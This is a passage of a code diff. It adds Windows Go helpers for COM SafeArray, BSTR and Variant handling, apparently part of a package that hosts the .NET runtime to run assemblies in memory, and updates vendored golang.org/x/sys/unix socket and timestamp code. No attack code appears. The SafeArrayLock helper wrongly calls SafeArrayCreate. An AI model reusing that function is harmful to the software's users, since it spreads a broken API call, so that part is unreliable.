return
}
+340
View File
@@ -0,0 +1,340 @@
// +build windows
package clr
import (
"fmt"
"syscall"
"unsafe"
)
// SafeArray represents a safe array
// defined in OAIdl.h
// typedef struct tagSAFEARRAY {
// USHORT cDims;
// USHORT fFeatures;
// ULONG cbElements;
// ULONG cLocks;
// PVOID pvData;
// SAFEARRAYBOUND rgsabound[1];
// } SAFEARRAY;
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/ns-oaidl-safearray
// https://docs.microsoft.com/en-us/archive/msdn-magazine/2017/march/introducing-the-safearray-data-structure
type SafeArray struct {
// cDims is the number of dimensions
cDims uint16
// fFeatures is the feature flags
fFeatures uint16
// cbElements is the size of an array element
cbElements uint32
// cLocks is the number of times the array has been locked without a corresponding unlock
cLocks uint32
// pvData is the data
pvData uintptr
// rgsabout is one bound for each dimension
rgsabound [1]SafeArrayBound
}
// SafeArrayBound represents the bounds of one dimension of the array
// typedef struct tagSAFEARRAYBOUND {
// ULONG cElements;
// LONG lLbound;
// } SAFEARRAYBOUND, *LPSAFEARRAYBOUND;
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/ns-oaidl-safearraybound
type SafeArrayBound struct {
// cElements is the number of elements in the dimension
cElements uint32
// lLbound is the lowerbound of the dimension
lLbound int32
}
// CreateSafeArray is a wrapper function that takes in a Go byte array and creates a SafeArray containing unsigned bytes
// by making two syscalls and copying raw memory into the correct spot.
func CreateSafeArray(rawBytes []byte) (*SafeArray, error) {
debugPrint("Entering into safearray.CreateSafeArray()...")
safeArrayBounds := SafeArrayBound{
cElements: uint32(len(rawBytes)),
lLbound: int32(0),
}
safeArray, err := SafeArrayCreate(VT_UI1, 1, &safeArrayBounds)
if err != nil {
return nil, err
}
// now we need to use RtlCopyMemory to copy our bytes to the SafeArray
modNtDll := syscall.MustLoadDLL("ntdll.dll")
procRtlCopyMemory := modNtDll.MustFindProc("RtlCopyMemory")
// TODO Replace RtlCopyMemory with SafeArrayPutElement or SafeArrayAccessData
// void RtlCopyMemory(
// void* Destination,
// const void* Source,
// size_t Length
// );
// https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-rtlcopymemory
_, _, err = procRtlCopyMemory.Call(
safeArray.pvData,
uintptr(unsafe.Pointer(&rawBytes[0])),
uintptr(len(rawBytes)),
)
if err != syscall.Errno(0) {
return nil, err
}
return safeArray, nil
}
// SafeArrayCreate creates a new array descriptor, allocates and initializes the data for the array, and returns a pointer to the new array descriptor.
// SAFEARRAY * SafeArrayCreate(
// VARTYPE vt,
// UINT cDims,
// SAFEARRAYBOUND *rgsabound
// );
// Varient types: https://docs.microsoft.com/en-us/windows/win32/api/wtypes/ne-wtypes-varenum
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraycreate
func SafeArrayCreate(vt uint16, cDims uint32, rgsabound *SafeArrayBound) (safeArray *SafeArray, err error) {
debugPrint("Entering into safearray.SafeArrayCreate()...")
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
procSafeArrayCreate := modOleAuto.MustFindProc("SafeArrayCreate")
ret, _, err := procSafeArrayCreate.Call(
uintptr(vt),
uintptr(cDims),
uintptr(unsafe.Pointer(rgsabound)),
)
if err != syscall.Errno(0) {
return
}
err = nil
if ret == 0 {
err = fmt.Errorf("the OleAut32!SafeArrayCreate function return 0x%x and the SafeArray was not created", ret)
return
}
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
safeArray = (*SafeArray)(unsafe.Pointer(ret))
return
}
// SysAllocString converts a Go string to a BTSR string, that is a unicode string prefixed with its length.
// Allocates a new string and copies the passed string into it.
// It returns a pointer to the string's content.
// BSTR SysAllocString(
// const OLECHAR *psz
// );
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-sysallocstring
func SysAllocString(str string) (unsafe.Pointer, error) {
debugPrint("Entering into safearray.SysAllocString()...")
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
sysAllocString := modOleAuto.MustFindProc("SysAllocString")
input := utf16Le(str)
ret, _, err := sysAllocString.Call(
uintptr(unsafe.Pointer(&input[0])),
)
if err != syscall.Errno(0) {
return nil, err
}
// TODO Return a pointer to a BSTR instead of an unsafe.Pointer
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
return unsafe.Pointer(ret), nil
}
// SafeArrayPutElement pushes an element to the safe array at a given index
// HRESULT SafeArrayPutElement(
// SAFEARRAY *psa,
// LONG *rgIndices,
// void *pv
// );
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearrayputelement
func SafeArrayPutElement(psa *SafeArray, rgIndices int32, pv unsafe.Pointer) error {
debugPrint("Entering into safearray.SafeArrayPutElement()...")
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
safeArrayPutElement := modOleAuto.MustFindProc("SafeArrayPutElement")
hr, _, err := safeArrayPutElement.Call(
uintptr(unsafe.Pointer(psa)),
uintptr(unsafe.Pointer(&rgIndices)),
uintptr(pv),
)
if err != syscall.Errno(0) {
return err
}
if hr != S_OK {
return fmt.Errorf("the OleAut32!SafeArrayPutElement call returned a non-zero HRESULT: 0x%x", hr)
}
return nil
}
// SafeArrayLock increments the lock count of an array, and places a pointer to the array data in pvData of the array descriptor
// HRESULT SafeArrayLock(
// SAFEARRAY *psa
// );
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraylock
func SafeArrayLock(psa *SafeArray) error {
debugPrint("Entering into safearray.SafeArrayLock()...")
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
safeArrayCreate := modOleAuto.MustFindProc("SafeArrayCreate")
hr, _, err := safeArrayCreate.Call(uintptr(unsafe.Pointer(psa)))
if err != syscall.Errno(0) {
return err
}
if hr != S_OK {
return fmt.Errorf("the OleAut32!SafeArrayCreate function returned a non-zero HRESULT: 0x%x", hr)
}
return nil
}
// SafeArrayGetVartype gets the VARTYPE stored in the specified safe array
// HRESULT SafeArrayGetVartype(
// SAFEARRAY *psa,
// VARTYPE *pvt
// );
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraygetvartype
func SafeArrayGetVartype(psa *SafeArray) (uint16, error) {
debugPrint("Entering into safearray.SafeArrayGetVartype()...")
var vt uint16
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
safeArrayGetVartype := modOleAuto.MustFindProc("SafeArrayGetVartype")
hr, _, err := safeArrayGetVartype.Call(
uintptr(unsafe.Pointer(psa)),
uintptr(unsafe.Pointer(&vt)),
)
if err != syscall.Errno(0) {
return 0, err
}
if hr != S_OK {
return 0, fmt.Errorf("the OleAut32!SafeArrayGetVartype function returned a non-zero HRESULT: 0x%x", hr)
}
return vt, nil
}
// SafeArrayAccessData increments the lock count of an array, and retrieves a pointer to the array data
// HRESULT SafeArrayAccessData(
// SAFEARRAY *psa,
// void HUGEP **ppvData
// );
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearrayaccessdata
func SafeArrayAccessData(psa *SafeArray) (*uintptr, error) {
debugPrint("Entering into safearray.SafeArrayAccessData()...")
var ppvData *uintptr
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
safeArrayAccessData := modOleAuto.MustFindProc("SafeArrayAccessData")
hr, _, err := safeArrayAccessData.Call(
uintptr(unsafe.Pointer(psa)),
uintptr(unsafe.Pointer(&ppvData)),
)
if err != syscall.Errno(0) {
return nil, err
}
if hr != S_OK {
return nil, fmt.Errorf("the oleaut32!SafeArrayAccessData function returned a non-zero HRESULT: 0x%x", hr)
}
return ppvData, nil
}
// SafeArrayGetLBound gets the lower bound for any dimension of the specified safe array
// HRESULT SafeArrayGetLBound(
// SAFEARRAY *psa,
// UINT nDim,
// LONG *plLbound
// );
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraygetlbound
func SafeArrayGetLBound(psa *SafeArray, nDim uint32) (uint32, error) {
debugPrint("Entering into safearray.SafeArrayGetLBound()...")
var plLbound uint32
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
safeArrayGetLBound := modOleAuto.MustFindProc("SafeArrayGetLBound")
hr, _, err := safeArrayGetLBound.Call(
uintptr(unsafe.Pointer(psa)),
uintptr(nDim),
uintptr(unsafe.Pointer(&plLbound)),
)
if err != syscall.Errno(0) {
return 0, err
}
if hr != S_OK {
return 0, fmt.Errorf("the oleaut32!SafeArrayGetLBound function returned a non-zero HRESULT: 0x%x", hr)
}
return plLbound, nil
}
// SafeArrayGetUBound gets the upper bound for any dimension of the specified safe array
// HRESULT SafeArrayGetUBound(
// SAFEARRAY *psa,
// UINT nDim,
// LONG *plUbound
// );
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraygetubound
func SafeArrayGetUBound(psa *SafeArray, nDim uint32) (uint32, error) {
debugPrint("Entering into safearray.SafeArrayGetUBound()...")
var plUbound uint32
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
safeArrayGetUBound := modOleAuto.MustFindProc("SafeArrayGetUBound")
hr, _, err := safeArrayGetUBound.Call(
uintptr(unsafe.Pointer(psa)),
uintptr(nDim),
uintptr(unsafe.Pointer(&plUbound)),
)
if err != syscall.Errno(0) {
return 0, err
}
if hr != S_OK {
return 0, fmt.Errorf("the oleaut32!SafeArrayGetUBound function returned a non-zero HRESULT: 0x%x", hr)
}
return plUbound, nil
}
// SafeArrayDestroy Destroys an existing array descriptor and all of the data in the array.
// If objects are stored in the array, Release is called on each object in the array.
// HRESULT SafeArrayDestroy(
// SAFEARRAY *psa
// );
func SafeArrayDestroy(psa *SafeArray) error {
debugPrint("Entering into safearray.SafeArrayDestroy()...")
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
safeArrayDestroy := modOleAuto.MustFindProc("SafeArrayDestroy")
hr, _, err := safeArrayDestroy.Call(
uintptr(unsafe.Pointer(psa)),
0,
0,
)
if err != syscall.Errno(0) {
return fmt.Errorf("the oleaut32!SafeArrayDestroy function call returned an error:\n%s", err)
}
if hr != S_OK {
return fmt.Errorf("the oleaut32!SafeArrayDestroy function returned a non-zero HRESULT: 0x%x", hr)
}
return nil
}
+107
View File
@@ -0,0 +1,107 @@
// +build windows
package clr
import (
"bytes"
"fmt"
"log"
"strings"
"unicode/utf16"
"unsafe"
"golang.org/x/text/encoding/unicode"
"golang.org/x/text/transform"
)
var Debug = false
// checkOK evaluates a HRESULT code for a caller and determines if there was an error
func checkOK(hr uintptr, caller string) error {
if hr != S_OK {
return fmt.Errorf("%s returned 0x%08x", caller, hr)
} else {
return nil
}
}
// must forces the program to exit if there is an error using the log.Fatal command
func must(err error) {
if err != nil {
log.Fatal(err)
}
}
func utf16Le(s string) []byte {
enc := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewEncoder()
var buf bytes.Buffer
t := transform.NewWriter(&buf, enc)
t.Write([]byte(s))
return buf.Bytes()
}
func expectsParams(input string) bool {
return !strings.Contains(input, "Void Main()")
}
// ReadUnicodeStr takes a pointer to a unicode string in memory and returns a string value
func ReadUnicodeStr(ptr unsafe.Pointer) string {
debugPrint("Entering into utils.ReadUnicodeStr()...")
var byteVal uint16
out := make([]uint16, 0)
for i := 0; ; i++ {
byteVal = *(*uint16)(unsafe.Pointer(ptr))
if byteVal == 0x0000 {
break
}
out = append(out, byteVal)
ptr = unsafe.Pointer(uintptr(ptr) + 2)
}
return string(utf16.Decode(out))
}
// debugPrint is used to print messages only when debug has been enabled
func debugPrint(message string) {
if Debug {
fmt.Println("[DEBUG] " + message)
}
}
// PrepareParameters creates a safe array of strings (arguments) nested inside a Variant object, which is itself
// appended to the final safe array
func PrepareParameters(params []string) (*SafeArray, error) {
sab := SafeArrayBound{
cElements: uint32(len(params)),
lLbound: 0,
}
listStrSafeArrayPtr, err := SafeArrayCreate(VT_BSTR, 1, &sab) // VT_BSTR
if err != nil {
return nil, err
}
for i, p := range params {
bstr, err := SysAllocString(p)
if err != nil {
return nil, err
}
SafeArrayPutElement(listStrSafeArrayPtr, int32(i), bstr)
}
paramVariant := Variant{
VT: VT_BSTR | VT_ARRAY, // VT_BSTR | VT_ARRAY
Val: uintptr(unsafe.Pointer(listStrSafeArrayPtr)),
}
sab2 := SafeArrayBound{
cElements: uint32(1),
lLbound: 0,
}
paramsSafeArrayPtr, err := SafeArrayCreate(VT_VARIANT, 1, &sab2) // VT_VARIANT
if err != nil {
return nil, err
}
err = SafeArrayPutElement(paramsSafeArrayPtr, int32(0), unsafe.Pointer(&paramVariant))
if err != nil {
return nil, err
}
return paramsSafeArrayPtr, nil
}
+38
View File
@@ -0,0 +1,38 @@
// +build windows
package clr
const (
// VT_EMPTY No value was specified. If an optional argument to an Automation method is left blank, do not
// pass a VARIANT of type VT_EMPTY. Instead, pass a VARIANT of type VT_ERROR with a value of DISP_E_PARAMNOTFOUND.
VT_EMPTY uint16 = 0x0000
// VT_NULL A propagating null value was specified. (This should not be confused with the null pointer.)
// The null value is used for tri-state logic, as with SQL.
VT_NULL uint16 = 0x0001
// VT_UI1 is a Variant Type of Unsigned Integer of 1-byte
VT_UI1 uint16 = 0x0011
// VT_UT4 is a Varriant Type of Unsigned Integer of 4-byte
VT_UI4 uint16 = 0x0013
// VT_BSTR is a Variant Type of BSTR, an OLE automation type for transfering length-prefixed strings
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-oaut/9c5a5ce4-ff5b-45ce-b915-ada381b34ac1
VT_BSTR uint16 = 0x0008
// VT_VARIANT is a Variant Type of VARIANT, a container for a union that can hold many types of data
VT_VARIANT uint16 = 0x000c
// VT_ARRAY is a Variant Type of a SAFEARRAY
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-oaut/2e87a537-9305-41c6-a88b-b79809b3703a
VT_ARRAY uint16 = 0x2000
)
// from https://github.com/go-ole/go-ole/blob/master/variant_amd64.go
// https://docs.microsoft.com/en-us/windows/win32/winauto/variant-structure
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/ns-oaidl-variant
// https://docs.microsoft.com/en-us/previous-versions/windows/embedded/ms891678(v=msdn.10)?redirectedfrom=MSDN
// VARIANT Type Constants https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-oaut/3fe7db9f-5803-4dc4-9d14-5425d3f5461f
type Variant struct {
VT uint16 // VARTYPE
wReserved1 uint16
wReserved2 uint16
wReserved3 uint16
Val uintptr
_ [8]byte
}
+1
View File
@@ -603,6 +603,7 @@ ccflags="$@"
$2 ~ /^ITIMER_/ ||
$2 !~ "WMESGLEN" &&
$2 ~ /^W[A-Z0-9]+$/ ||
$2 ~ /^P_/ ||
$2 ~/^PPPIOC/ ||
$2 ~ /^FAN_|FANOTIFY_/ ||
$2 == "HID_MAX_DESCRIPTOR_SIZE" ||
+3 -9
View File
@@ -215,18 +215,12 @@ func Accept(fd int) (nfd int, sa Sockaddr, err error) {
return
}
func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from Sockaddr, err error) {
func recvmsgRaw(fd int, p, oob []byte, flags int, rsa *RawSockaddrAny) (n, oobn int, recvflags int, err error) {
// Recvmsg not implemented on AIX
sa := new(SockaddrUnix)
return -1, -1, -1, sa, ENOSYS
return -1, -1, -1, ENOSYS
}
func Sendmsg(fd int, p, oob []byte, to Sockaddr, flags int) (err error) {
_, err = SendmsgN(fd, p, oob, to, flags)
return
}
func SendmsgN(fd int, p, oob []byte, to Sockaddr, flags int) (n int, err error) {
func sendmsgN(fd int, p, oob []byte, ptr unsafe.Pointer, salen _Socklen, flags int) (n int, err error) {
// SendmsgN not implemented on AIX
return -1, ENOSYS
}
+4 -31
View File
@@ -325,10 +325,9 @@ func GetsockoptString(fd, level, opt int) (string, error) {
//sys sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (err error)
//sys recvmsg(s int, msg *Msghdr, flags int) (n int, err error)
func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from Sockaddr, err error) {
func recvmsgRaw(fd int, p, oob []byte, flags int, rsa *RawSockaddrAny) (n, oobn int, recvflags int, err error) {
var msg Msghdr
var rsa RawSockaddrAny
msg.Name = (*byte)(unsafe.Pointer(&rsa))
msg.Name = (*byte)(unsafe.Pointer(rsa))
msg.Namelen = uint32(SizeofSockaddrAny)
var iov Iovec
if len(p) > 0 {
@@ -352,29 +351,12 @@ func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from
}
oobn = int(msg.Controllen)
recvflags = int(msg.Flags)
// source address is only specified if the socket is unconnected
if rsa.Addr.Family != AF_UNSPEC {
from, err = anyToSockaddr(fd, &rsa)
}
return
}
//sys sendmsg(s int, msg *Msghdr, flags int) (n int, err error)
func Sendmsg(fd int, p, oob []byte, to Sockaddr, flags int) (err error) {
_, err = SendmsgN(fd, p, oob, to, flags)
return
}
func SendmsgN(fd int, p, oob []byte, to Sockaddr, flags int) (n int, err error) {
var ptr unsafe.Pointer
var salen _Socklen
if to != nil {
ptr, salen, err = to.sockaddr()
if err != nil {
return 0, err
}
}
func sendmsgN(fd int, p, oob []byte, ptr unsafe.Pointer, salen _Socklen, flags int) (n int, err error) {
var msg Msghdr
msg.Name = (*byte)(unsafe.Pointer(ptr))
msg.Namelen = uint32(salen)
@@ -571,12 +553,7 @@ func UtimesNano(path string, ts []Timespec) error {
if len(ts) != 2 {
return EINVAL
}
// Darwin setattrlist can set nanosecond timestamps
err := setattrlistTimes(path, ts, 0)
if err != ENOSYS {
return err
}
err = utimensat(AT_FDCWD, path, (*[2]Timespec)(unsafe.Pointer(&ts[0])), 0)
err := utimensat(AT_FDCWD, path, (*[2]Timespec)(unsafe.Pointer(&ts[0])), 0)
if err != ENOSYS {
return err
}
@@ -596,10 +573,6 @@ func UtimesNanoAt(dirfd int, path string, ts []Timespec, flags int) error {
if len(ts) != 2 {
return EINVAL
}
err := setattrlistTimes(path, ts, flags)
if err != ENOSYS {
return err
}
return utimensat(dirfd, path, (*[2]Timespec)(unsafe.Pointer(&ts[0])), flags)
}
+1 -40
View File
@@ -141,16 +141,6 @@ func direntNamlen(buf []byte) (uint64, bool) {
func PtraceAttach(pid int) (err error) { return ptrace(PT_ATTACH, pid, 0, 0) }
func PtraceDetach(pid int) (err error) { return ptrace(PT_DETACH, pid, 0, 0) }
type attrList struct {
bitmapCount uint16
_ uint16
CommonAttr uint32
VolAttr uint32
DirAttr uint32
FileAttr uint32
Forkattr uint32
}
//sysnb pipe(p *[2]int32) (err error)
func Pipe(p []int) (err error) {
@@ -282,36 +272,7 @@ func Flistxattr(fd int, dest []byte) (sz int, err error) {
return flistxattr(fd, xattrPointer(dest), len(dest), 0)
}
func setattrlistTimes(path string, times []Timespec, flags int) error {
_p0, err := BytePtrFromString(path)
if err != nil {
return err
}
var attrList attrList
attrList.bitmapCount = ATTR_BIT_MAP_COUNT
attrList.CommonAttr = ATTR_CMN_MODTIME | ATTR_CMN_ACCTIME
// order is mtime, atime: the opposite of Chtimes
attributes := [2]Timespec{times[1], times[0]}
options := 0
if flags&AT_SYMLINK_NOFOLLOW != 0 {
options |= FSOPT_NOFOLLOW
}
return setattrlist(
_p0,
unsafe.Pointer(&attrList),
unsafe.Pointer(&attributes),
unsafe.Sizeof(attributes),
options)
}
//sys setattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error)
func utimensat(dirfd int, path string, times *[2]Timespec, flags int) error {
// Darwin doesn't support SYS_UTIMENSAT
return ENOSYS
}
//sys utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error)
/*
* Wrapped
-5
View File
@@ -169,11 +169,6 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
return
}
func setattrlistTimes(path string, times []Timespec, flags int) error {
// used on Darwin for UtimesNano
return ENOSYS
}
//sys ioctl(fd int, req uint, arg uintptr) (err error)
//sys sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) = SYS___SYSCTL
-5
View File
@@ -194,11 +194,6 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
return
}
func setattrlistTimes(path string, times []Timespec, flags int) error {
// used on Darwin for UtimesNano
return ENOSYS
}
//sys ioctl(fd int, req uint, arg uintptr) (err error)
//sys sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) = SYS___SYSCTL
+6 -23
View File
@@ -366,6 +366,8 @@ func Wait4(pid int, wstatus *WaitStatus, options int, rusage *Rusage) (wpid int,
return
}
//sys Waitid(idType int, id int, info *Siginfo, options int, rusage *Rusage) (err error)
func Mkfifo(path string, mode uint32) error {
return Mknod(path, mode|S_IFIFO, 0)
}
@@ -1497,10 +1499,9 @@ func KeyctlRestrictKeyring(ringid int, keyType string, restriction string) error
//sys keyctlRestrictKeyringByType(cmd int, arg2 int, keyType string, restriction string) (err error) = SYS_KEYCTL
//sys keyctlRestrictKeyring(cmd int, arg2 int) (err error) = SYS_KEYCTL
func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from Sockaddr, err error) {
func recvmsgRaw(fd int, p, oob []byte, flags int, rsa *RawSockaddrAny) (n, oobn int, recvflags int, err error) {
var msg Msghdr
var rsa RawSockaddrAny
msg.Name = (*byte)(unsafe.Pointer(&rsa))
msg.Name = (*byte)(unsafe.Pointer(rsa))
msg.Namelen = uint32(SizeofSockaddrAny)
var iov Iovec
if len(p) > 0 {
@@ -1531,28 +1532,10 @@ func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from
}
oobn = int(msg.Controllen)
recvflags = int(msg.Flags)
// source address is only specified if the socket is unconnected
if rsa.Addr.Family != AF_UNSPEC {
from, err = anyToSockaddr(fd, &rsa)
}
return
}
func Sendmsg(fd int, p, oob []byte, to Sockaddr, flags int) (err error) {
_, err = SendmsgN(fd, p, oob, to, flags)
return
}
func SendmsgN(fd int, p, oob []byte, to Sockaddr, flags int) (n int, err error) {
var ptr unsafe.Pointer
var salen _Socklen
if to != nil {
var err error
ptr, salen, err = to.sockaddr()
if err != nil {
return 0, err
}
}
func sendmsgN(fd int, p, oob []byte, ptr unsafe.Pointer, salen _Socklen, flags int) (n int, err error) {
var msg Msghdr
msg.Name = (*byte)(ptr)
msg.Namelen = uint32(salen)
@@ -2316,6 +2299,7 @@ type RemoteIovec struct {
//sys PidfdOpen(pid int, flags int) (fd int, err error) = SYS_PIDFD_OPEN
//sys PidfdGetfd(pidfd int, targetfd int, flags int) (fd int, err error) = SYS_PIDFD_GETFD
//sys PidfdSendSignal(pidfd int, sig Signal, info *Siginfo, flags int) (err error) = SYS_PIDFD_SEND_SIGNAL
//sys shmat(id int, addr uintptr, flag int) (ret uintptr, err error)
//sys shmctl(id int, cmd int, buf *SysvShmDesc) (result int, err error)
@@ -2464,5 +2448,4 @@ func Setitimer(which ItimerWhich, it Itimerval) (Itimerval, error) {
// Vfork
// Vhangup
// Vserver
// Waitid
// _Sysctl
-5
View File
@@ -163,11 +163,6 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
return -1, ENOSYS
}
func setattrlistTimes(path string, times []Timespec, flags int) error {
// used on Darwin for UtimesNano
return ENOSYS
}
//sys ioctl(fd int, req uint, arg uintptr) (err error)
//sys sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) = SYS___SYSCTL
-5
View File
@@ -149,11 +149,6 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
return
}
func setattrlistTimes(path string, times []Timespec, flags int) error {
// used on Darwin for UtimesNano
return ENOSYS
}
//sys ioctl(fd int, req uint, arg uintptr) (err error)
//sys sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) = SYS___SYSCTL
+85 -63
View File
@@ -451,10 +451,9 @@ func Accept(fd int) (nfd int, sa Sockaddr, err error) {
//sys recvmsg(s int, msg *Msghdr, flags int) (n int, err error) = libsocket.__xnet_recvmsg
func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from Sockaddr, err error) {
func recvmsgRaw(fd int, p, oob []byte, flags int, rsa *RawSockaddrAny) (n, oobn int, recvflags int, err error) {
var msg Msghdr
var rsa RawSockaddrAny
msg.Name = (*byte)(unsafe.Pointer(&rsa))
msg.Name = (*byte)(unsafe.Pointer(rsa))
msg.Namelen = uint32(SizeofSockaddrAny)
var iov Iovec
if len(p) > 0 {
@@ -476,29 +475,12 @@ func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from
return
}
oobn = int(msg.Accrightslen)
// source address is only specified if the socket is unconnected
if rsa.Addr.Family != AF_UNSPEC {
from, err = anyToSockaddr(fd, &rsa)
}
return
}
func Sendmsg(fd int, p, oob []byte, to Sockaddr, flags int) (err error) {
_, err = SendmsgN(fd, p, oob, to, flags)
return
}
//sys sendmsg(s int, msg *Msghdr, flags int) (n int, err error) = libsocket.__xnet_sendmsg
func SendmsgN(fd int, p, oob []byte, to Sockaddr, flags int) (n int, err error) {
var ptr unsafe.Pointer
var salen _Socklen
if to != nil {
ptr, salen, err = to.sockaddr()
if err != nil {
return 0, err
}
}
func sendmsgN(fd int, p, oob []byte, ptr unsafe.Pointer, salen _Socklen, flags int) (n int, err error) {
var msg Msghdr
msg.Name = (*byte)(unsafe.Pointer(ptr))
msg.Namelen = uint32(salen)
@@ -755,8 +737,20 @@ type fileObjCookie struct {
type EventPort struct {
port int
mu sync.Mutex
fds map[uintptr]interface{}
fds map[uintptr]*fileObjCookie
paths map[string]*fileObjCookie
// The user cookie presents an interesting challenge from a memory management perspective.
// There are two paths by which we can discover that it is no longer in use:
// 1. The user calls port_dissociate before any events fire
// 2. An event fires and we return it to the user
// The tricky situation is if the event has fired in the kernel but
// the user hasn't requested/received it yet.
// If the user wants to port_dissociate before the event has been processed,
// we should handle things gracefully. To do so, we need to keep an extra
// reference to the cookie around until the event is processed
// thus the otherwise seemingly extraneous "cookies" map
// The key of this map is a pointer to the corresponding &fCookie.cookie
cookies map[*interface{}]*fileObjCookie
}
// PortEvent is an abstraction of the port_event C struct.
@@ -780,9 +774,10 @@ func NewEventPort() (*EventPort, error) {
return nil, err
}
e := &EventPort{
port: port,
fds: make(map[uintptr]interface{}),
paths: make(map[string]*fileObjCookie),
port: port,
fds: make(map[uintptr]*fileObjCookie),
paths: make(map[string]*fileObjCookie),
cookies: make(map[*interface{}]*fileObjCookie),
}
return e, nil
}
@@ -797,9 +792,13 @@ func NewEventPort() (*EventPort, error) {
func (e *EventPort) Close() error {
e.mu.Lock()
defer e.mu.Unlock()
err := Close(e.port)
if err != nil {
return err
}
e.fds = nil
e.paths = nil
return Close(e.port)
return nil
}
// PathIsWatched checks to see if path is associated with this EventPort.
@@ -836,6 +835,7 @@ func (e *EventPort) AssociatePath(path string, stat os.FileInfo, events int, coo
return err
}
e.paths[path] = fCookie
e.cookies[&fCookie.cookie] = fCookie
return nil
}
@@ -848,11 +848,19 @@ func (e *EventPort) DissociatePath(path string) error {
return fmt.Errorf("%v is not associated with this Event Port", path)
}
_, err := port_dissociate(e.port, PORT_SOURCE_FILE, uintptr(unsafe.Pointer(f.fobj)))
if err != nil {
// If the path is no longer associated with this event port (ENOENT)
// we should delete it from our map. We can still return ENOENT to the caller.
// But we need to save the cookie
if err != nil && err != ENOENT {
return err
}
if err == nil {
// dissociate was successful, safe to delete the cookie
fCookie := e.paths[path]
delete(e.cookies, &fCookie.cookie)
}
delete(e.paths, path)
return nil
return err
}
// AssociateFd wraps calls to port_associate(3c) on file descriptors.
@@ -862,12 +870,13 @@ func (e *EventPort) AssociateFd(fd uintptr, events int, cookie interface{}) erro
if _, found := e.fds[fd]; found {
return fmt.Errorf("%v is already associated with this Event Port", fd)
}
pcookie := &cookie
_, err := port_associate(e.port, PORT_SOURCE_FD, fd, events, (*byte)(unsafe.Pointer(pcookie)))
fCookie := &fileObjCookie{nil, cookie}
_, err := port_associate(e.port, PORT_SOURCE_FD, fd, events, (*byte)(unsafe.Pointer(&fCookie.cookie)))
if err != nil {
return err
}
e.fds[fd] = pcookie
e.fds[fd] = fCookie
e.cookies[&fCookie.cookie] = fCookie
return nil
}
@@ -880,11 +889,16 @@ func (e *EventPort) DissociateFd(fd uintptr) error {
return fmt.Errorf("%v is not associated with this Event Port", fd)
}
_, err := port_dissociate(e.port, PORT_SOURCE_FD, fd)
if err != nil {
if err != nil && err != ENOENT {
return err
}
if err == nil {
// dissociate was successful, safe to delete the cookie
fCookie := e.fds[fd]
delete(e.cookies, &fCookie.cookie)
}
delete(e.fds, fd)
return nil
return err
}
func createFileObj(name string, stat os.FileInfo) (*fileObj, error) {
@@ -912,26 +926,48 @@ func (e *EventPort) GetOne(t *Timespec) (*PortEvent, error) {
return nil, err
}
p := new(PortEvent)
p.Events = pe.Events
p.Source = pe.Source
e.mu.Lock()
defer e.mu.Unlock()
switch pe.Source {
case PORT_SOURCE_FD:
p.Fd = uintptr(pe.Object)
cookie := (*interface{})(unsafe.Pointer(pe.User))
p.Cookie = *cookie
delete(e.fds, p.Fd)
case PORT_SOURCE_FILE:
p.fobj = (*fileObj)(unsafe.Pointer(uintptr(pe.Object)))
p.Path = BytePtrToString((*byte)(unsafe.Pointer(p.fobj.Name)))
cookie := (*interface{})(unsafe.Pointer(pe.User))
p.Cookie = *cookie
delete(e.paths, p.Path)
}
e.peIntToExt(pe, p)
return p, nil
}
// peIntToExt converts a cgo portEvent struct into the friendlier PortEvent
// NOTE: Always call this function while holding the e.mu mutex
func (e *EventPort) peIntToExt(peInt *portEvent, peExt *PortEvent) {
peExt.Events = peInt.Events
